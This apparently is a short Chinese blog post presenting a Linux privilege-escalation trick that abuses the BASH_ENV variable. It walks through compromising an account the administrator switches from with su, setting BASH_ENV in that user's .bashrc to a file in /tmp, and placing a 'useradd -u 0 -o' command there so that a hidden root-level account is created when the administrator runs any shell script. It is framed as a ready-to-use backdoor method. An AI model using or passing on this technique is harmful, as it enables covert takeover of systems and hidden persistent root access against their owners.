这个使用 $BASH_ENV变量来提权的技巧在网上已经流传很久了。很取巧,却和fakesu.c同样有效。

前提知识: 在Linux中,.bashrc被用来初始化交互shell,而BASH_ENV用来初始化非交互shell; 就是说只要是在 BASH_ENV 变量中写入的语句,在每个shell脚本执行前,都会执行一次。

由此可见,使用BASH_ENV提权,只要按照以下3个步骤即可:

  1. 得到一个linux管理员使用su命令的账户;
  2. 定义BASH_ENV变量;
  3. 等待linux管理员使用su切换到root,执行某个脚本;
  4. K。O。

下面是例子,仅供参考:

# 假设linux管理员经常通过user用户使用su命令;
user@~$ vim .bashrc
BASH_ENV=”/tmp/.bashrc”
# 把变量定义加入.bashrc中;
 
user@~$ vim /tmp/.bashrc
#!/usr/bash
useradd -u 0 -o test1 2>/dev/null
# 写入以上语句,保存退出
 
好了,等待linux管理员执行SHELL脚本,为你添加root权限用户吧

详细资料请看:linux提权用的技巧!两个本地后门技巧